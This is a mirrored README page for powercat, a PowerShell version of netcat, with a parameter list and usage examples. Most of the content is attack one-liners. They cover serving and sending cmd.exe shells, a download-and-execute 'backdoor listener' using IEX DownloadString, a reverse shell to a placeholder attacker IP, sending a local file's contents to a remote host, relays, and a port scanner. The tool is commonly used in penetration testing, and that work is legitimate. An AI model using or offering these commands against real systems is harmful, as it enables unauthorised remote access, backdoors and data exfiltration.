Giter Site home page Giter Site logo

powercat's Introduction

#powercat

Netcat: The powershell version. (v2 compatible)

Parameters:

-l    Listen for a connection.                             [Switch]
-c    Connect to a listener.                               [String]
-p    The port to connect to, or listen on.                [String]
-e    Execute. (GAPING_SECURITY_HOLE)                      [String]
-r    Relay. Formats: "-r 10.1.1.1:443", "-r 443"          [String]
-t    Timeout option. Default: 60                          [int32]

General Usage Examples:

Listen and Connect:
    powercat -l 443
    powercat -c 10.1.1.10 443
Serve and Send Shells:
    powercat -l -e cmd.exe 443
    powercat -c 10.1.1.10 -e cmd.exe 443
Output to a File:
    powershell -c '. .\powercat.ps1; powercat -l 443' > C:\outputfile
Send a File (String):
    'The string I want to send' | powercat -l 443
    [IO.File]::ReadAllText('C:\inputfile') | powercat -c 10.1.1.10 443

powercat Relay Examples:

Listener to Client Relay:
    powercat -l -p 8000 -r 10.1.1.16:443
Listener to Listener Relay:
    powercat -l -p 8000 -r 4444
Client to Listener Relay:
    powercat -c 10.1.1.16 -p 443 -r 4444
Client to Client Relay:
    powercat -c 10.1.1.16 -p 443 -r 10.1.1.16:3389

Misc Examples:

Download and Execute Powercat Backdoor Listener One-Liner:
    powershell -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -l 8000 -e cmd.exe"
Download and Execute Powercat Reverse Shell One-Liner (Replace <Attacker IP>):
    powershell -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c <ATTACKER IP> 443 -e cmd.exe"
Basic TCP Port Scanner:
    foreach($p in (21,22,80,443)){powercat -c 10.1.1.10 -p $p -t 1 -Verbose}

powercat's People

Contributors

lukebaggett avatar besimorhino avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.